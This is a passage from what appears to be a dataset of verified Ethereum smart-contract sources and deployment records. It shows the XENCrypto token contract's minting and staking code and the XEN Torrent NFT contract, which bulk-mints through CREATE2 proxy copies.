rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,503,081 |
44d5eb1f606e48a1f7bf49b7ef6942bf3e75a1b6dce64d55238320f06d48777e
|
0574a1ef3a37f1ea8b041a3fba39caeffad00590c647ed9bbb578484c7d8d98a
|
5e05f02c1e0ada6eece8dca05b2c3fb551a8da2b
|
0a252663dbcc0b073063d6420a40319e438cfa59
|
1403aa617159f34c98cb6a5a72391624aa00cf67
|
3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of Virtual Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == type(IERC2771).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n // ERC2771 IMPLEMENTATION\n\n /**\n @dev use ERC2771Context implementation of _msgSender()\n */\n function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n return ERC2771Context._msgSender();\n }\n\n /**\n @dev use ERC2771Context implementation of _msgData()\n */\n function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n return ERC2771Context._msgData();\n }\n\n // OWNABLE IMPLEMENTATION\n\n /**\n @dev public getter to check for deployer / owner (Opensea, etc.)\n */\n function owner() external view returns (address) {\n return _deployer;\n }\n\n // ERC-721 METADATA IMPLEMENTATION\n /**\n @dev compliance with ERC-721 standard (NFT); returns NFT metadata, including SVG-encoded image\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n uint256 count = vmuCount[tokenId];\n uint256 info = mintInfo[tokenId];\n uint256 burned = xenBurned[tokenId];\n require(count > 0);\n bytes memory dataURI = abi.encodePacked(\n \"{\",\n '\"name\": \"XEN Torrent #',\n tokenId.toString(),\n '\",',\n '\"description\": \"XENFT: XEN Crypto Minting Torrent\",',\n '\"image\": \"',\n \"data:image/svg+xml;base64,\",\n Base64.encode(Metadata.svgData(tokenId, count, info, address(xenCrypto), burned)),\n '\",',\n '\"attributes\": ',\n Metadata.attributes(count, burned, info),\n \"}\"\n );\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(dataURI)));\n }\n\n // IMPLEMENTATION OF XENProxying INTERFACE\n // FUNCTIONS IN PROXY COPY CONTRACTS (VMUs), CALLING ORIGINAL XEN CRYPTO CONTRACT\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimRank(term)\n */\n function callClaimRank(uint256 term) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimRank(uint256)\", term);\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimMintRewardAndShare()\n */\n function callClaimMintReward(address to) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimMintRewardAndShare(address,uint256)\", to, uint256(100));\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => destroys the proxy contract\n */\n function powerDown() external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n selfdestruct(payable(address(0)));\n }\n\n // OVERRIDING OF ERC-721 IMPLEMENTATION\n // ENFORCEMENT OF TRANSFER BLACKOUT PERIOD\n\n /**\n @dev overrides OZ ERC-721 before transfer hook to check if there's no blackout period\n */\n function _beforeTokenTransfer(\n address from,\n address,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0)) {\n uint256 maturityTs = mintInfo[tokenId].getMaturityTs();\n uint256 delta = maturityTs > block.timestamp ? maturityTs - block.timestamp : block.timestamp - maturityTs;\n require(delta > BLACKOUT_TERM, \"XENFT: transfer prohibited in blackout period\");\n }\n }\n\n /**\n @dev overrides OZ ERC-721 after transfer hook to allow token enumeration for owner\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n _ownedTokens[from].removeItem(tokenId);\n _ownedTokens[to].addItem(tokenId);\n }\n\n // IBurnRedeemable IMPLEMENTATION\n\n /**\n @dev implements IBurnRedeemable interface for burning XEN and completing Bulk Mint for limited series\n */\n function onTokenBurned(address user, uint256 burned) external {\n require(_tokenId != _NOT_USED, \"XENFT: illegal callback state\");\n require(msg.sender == address(xenCrypto), \"XENFT: illegal callback caller\");\n _ownedTokens[user].addItem(_tokenId);\n xenBurned[_tokenId] = burned;\n _safeMint(user, _tokenId);\n emit StartTorrent(user, vmuCount[_tokenId], mintInfo[_tokenId].getTerm());\n _tokenId = _NOT_USED;\n }\n\n // IBurnableToken IMPLEMENTATION\n\n /**\n @dev burns XENTorrent XENFT which can be used by connected contracts services\n */\n function burn(address user, uint256 tokenId) public notBeforeStart nonReentrant {\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"XENFT burn: not a supported contract\"\n );\n require(user != address(0), \"XENFT burn: illegal owner address\");\n require(tokenId > 0, \"XENFT burn: illegal tokenId\");\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"XENFT burn: not an approved operator\");\n require(ownerOf(tokenId) == user, \"XENFT burn: user is not tokenId owner\");\n _ownedTokens[user].removeItem(tokenId);\n _burn(tokenId);\n IBurnRedeemable(_msgSender()).onTokenBurned(user, tokenId);\n }\n\n // OVERRIDING ERC-721 IMPLEMENTATION TO ALLOW OPENSEA ROYALTIES ENFORCEMENT PROTOCOL\n\n /**\n @dev implements `setApprovalForAll` with additional approved Operator checking\n */\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n @dev implements `approve` with additional approved Operator checking\n */\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /**\n @dev implements `transferFrom` with additional approved Operator checking\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n // SUPPORT FOR ERC2771 META-TRANSACTIONS\n\n /**\n @dev Implements setting a `Trusted Forwarder` for meta-txs. Settable only once\n */\n function addForwarder(address trustedForwarder) external {\n require(msg.sender == _deployer, \"XENFT: not an deployer\");\n require(_trustedForwarder == address(0), \"XENFT: Forwarder is already set\");\n _trustedForwarder = trustedForwarder;\n }\n\n // SUPPORT FOR ERC2981 ROYALTY INFO\n\n /**\n @dev Implements getting Royalty Info by supported operators. ROYALTY_BP is expressed in basis points\n */\n function royaltyInfo(uint256, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = _royaltyReceiver;\n royaltyAmount = (salePrice * ROYALTY_BP) / 10_000;\n }\n\n // XEN TORRENT PRIVATE / INTERNAL HELPERS\n\n /**\n @dev Sets specified XENFT as redeemed\n */\n function _setRedeemed(uint256 tokenId) private {\n mintInfo[tokenId] = mintInfo[tokenId] | uint256(1);\n }\n\n /**\n @dev Determines power group index for Collector Category\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev calculates Collector Class index\n */\n function _classIdx(uint256 count, uint256 term) private pure returns (uint256 index) {\n if (_powerGroup(count, term) > 7) return 7;\n return _powerGroup(count, term);\n }\n\n /**\n @dev internal helper to determine special class tier based on XEN to be burned\n */\n function _specialTier(uint256 burning) private view returns (uint256) {\n for (uint256 i = specialClassesBurnRates.length - 1; i > 0; i--) {\n if (specialClassesBurnRates[i] == 0) {\n return 0;\n }\n if (burning > specialClassesBurnRates[i] - 1) {\n return i;\n }\n }\n return 0;\n }\n\n /**\n @dev internal helper to collect params and encode MintInfo\n */\n function _mintInfo(\n address proxy,\n uint256 count,\n uint256 term,\n uint256 burning,\n uint256 tokenId\n ) private view returns (uint256) {\n bool apex = isApex(tokenId);\n uint256 _class = _classIdx(count, term);\n if (apex) _class = uint8(7 + _specialTier(burning)) | 0x80; // Apex Class\n if (burning > 0 && !apex) _class = uint8(8) | 0x40; // Limited Class\n (, , uint256 maturityTs, uint256 rank, uint256 amp, uint256 eaa) = xenCrypto.userMints(proxy);\n return MintInfo.encodeMintInfo(term, maturityTs, rank, amp, eaa, _class, false);\n }\n\n /**\n @dev internal torrent interface. initiates Bulk Mint (Torrent) Operation\n */\n function _bulkClaimRank(\n uint256 count,\n uint256 term,\n uint256 tokenId,\n uint256 burning\n ) private {\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n bytes memory callData = abi.encodeWithSignature(\"callClaimRank(uint256)\", term);\n address proxy;\n bool succeeded;\n for (uint256 i = 1; i < count + 1; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n assembly {\n proxy := create2(0, add(bytecode, 0x20), mload(bytecode), salt)\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rank\");\n if (i == 1) {\n mintInfo[tokenId] = _mintInfo(proxy, count, term, burning, tokenId);\n }\n }\n vmuCount[tokenId] = count;\n }\n\n /**\n @dev internal helper to claim tokenId (limited / ordinary)\n */\n function _getTokenId(uint256 count, uint256 burning) private returns (uint256) {\n // burn possibility has already been verified\n uint256 tier = _specialTier(burning);\n if (tier == 1) {\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(block.timestamp < genesisTs + LIMITED_CATEGORY_TIME_THRESHOLD, \"XENFT: limited time expired\");\n return tokenIdCounter++;\n }\n if (tier > 1) {\n require(_msgSender() == tx.origin, \"XENFT: only EOA allowed for this category\");\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(specialClassesCounters[tier] < specialClassesTokenLimits[tier] + 1, \"XENFT: class sold out\");\n return specialClassesCounters[tier]++;\n }\n return tokenIdCounter++;\n }\n\n // PUBLIC GETTERS\n\n /**\n @dev public getter for tokens owned by address\n */\n function ownedTokens() external view returns (uint256[] memory) {\n return _ownedTokens[_msgSender()];\n }\n\n /**\n @dev determines if tokenId corresponds to Limited Category\n */\n function isApex(uint256 tokenId) public pure returns (bool apex) {\n apex = tokenId < COMMON_CATEGORY_COUNTER;\n }\n\n // PUBLIC TRANSACTIONAL INTERFACE\n\n /**\n @dev public XEN Torrent interface\n initiates Bulk Mint (Torrent) Operation (Common Category)\n */\n function bulkClaimRank(uint256 count, uint256 term) public notBeforeStart returns (uint256 tokenId) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n _tokenId = _getTokenId(count, 0);\n _bulkClaimRank(count, term, _tokenId, 0);\n _ownedTokens[_msgSender()].addItem(_tokenId);\n _safeMint(_msgSender(), _tokenId);\n emit StartTorrent(_msgSender(), count, term);\n tokenId = _tokenId;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev public torrent interface. initiates Bulk Mint (Torrent) Operation (Special Category)\n */\n function bulkClaimRankLimited(\n uint256 count,\n uint256 term,\n uint256 burning\n ) public notBeforeStart returns (uint256) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n require(burning > specialClassesBurnRates[1] - 1, \"XENFT: not enough burn amount\");\n uint256 balance = IERC20(xenCrypto).balanceOf(_msgSender());\n require(balance > burning - 1, \"XENFT: not enough XEN balance\");\n uint256 approved = IERC20(xenCrypto).allowance(_msgSender(), address(this));\n require(approved > burning - 1, \"XENFT: not enough XEN balance approved for burn\");\n _tokenId = _getTokenId(count, burning);\n _bulkClaimRank(count, term, _tokenId, burning);\n IBurnableToken(xenCrypto).burn(_msgSender(), burning);\n return _tokenId;\n }\n\n /**\n @dev public torrent interface. initiates Mint Reward claim and collection and terminates Torrent Operation\n */\n function bulkClaimMintReward(uint256 tokenId, address to) external notBeforeStart nonReentrant {\n require(ownerOf(tokenId) == _msgSender(), \"XENFT: Incorrect owner\");\n require(to != address(0), \"XENFT: Illegal address\");\n require(!mintInfo[tokenId].getRedeemed(), \"XENFT: Already redeemed\");\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n uint256 end = vmuCount[tokenId] + 1;\n bytes memory callData = abi.encodeWithSignature(\"callClaimMintReward(address)\", to);\n bytes memory callData1 = abi.encodeWithSignature(\"powerDown()\");\n for (uint256 i = 1; i < end; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n bool succeeded;\n bytes32 hash = keccak256(abi.encodePacked(hex\"ff\", address(this), salt, keccak256(bytecode)));\n address proxy = address(uint160(uint256(hash)));\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rewards\");\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData1, 0x20), mload(callData1), 0, 0)\n }\n require(succeeded, \"XENFT: Error while powering down\");\n }\n _setRedeemed(tokenId);\n emit EndTorrent(_msgSender(), tokenId, to);\n }\n}\n"
},
"/contracts/libs/StringData.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n/*\n Extra XEN quotes:\n\n \"When you realize nothing is lacking, the whole world belongs to you.\" - Lao Tzu\n \"Each morning, we are born again. What we do today is what matters most.\" - Buddha\n \"If you are depressed, you are living in the past.\" - Lao Tzu\n \"In true dialogue, both sides are willing to change.\" - Thich Nhat Hanh\n \"The spirit of the individual is determined by his domination thought habits.\" - Bruce Lee\n \"Be the path. Do not seek it.\" - Yara Tschallener\n \"Bow to no one but your own divinity.\" - Satya\n \"With insight there is hope for awareness, and with awareness there can be change.\" - Tom Kenyon\n \"The opposite of depression isn't happiness, it is purpose.\" - Derek Sivers\n \"If you can't, you must.\" - Tony Robbins\n “When you are grateful, fear disappears and abundance appears.” - Lao Tzu\n “It is in your moments of decision that your destiny is shaped.” - Tony Robbins\n \"Surmounting difficulty is the crucible that forms character.\" - Tony Robbins\n \"Three things cannot be long hidden: the sun, the moon, and the truth.\" - Buddha\n \"What you are is what you have been. What you’ll be is what you do now.\" - Buddha\n \"The best way to take care of our future is to take care of the present moment.\" - Thich Nhat Hanh\n*/\n\n/**\n @dev a library to supply a XEN string data based on params\n*/\nlibrary StringData {\n uint256 public constant QUOTES_COUNT = 12;\n uint256 public constant QUOTE_LENGTH = 66;\n bytes public constant QUOTES =\n bytes(\n '\"If you realize you have enough, you are truly rich.\" - Lao Tzu '\n '\"The real meditation is how you live your life.\" - Jon Kabat-Zinn '\n '\"To know that you do not know is the best.\" - Lao Tzu '\n '\"An over-sharpened sword cannot last long.\" - Lao Tzu '\n '\"When you accept yourself, the whole world accepts you.\" - Lao Tzu'\n '\"Music in the soul can be heard by the universe.\" - Lao Tzu '\n '\"As 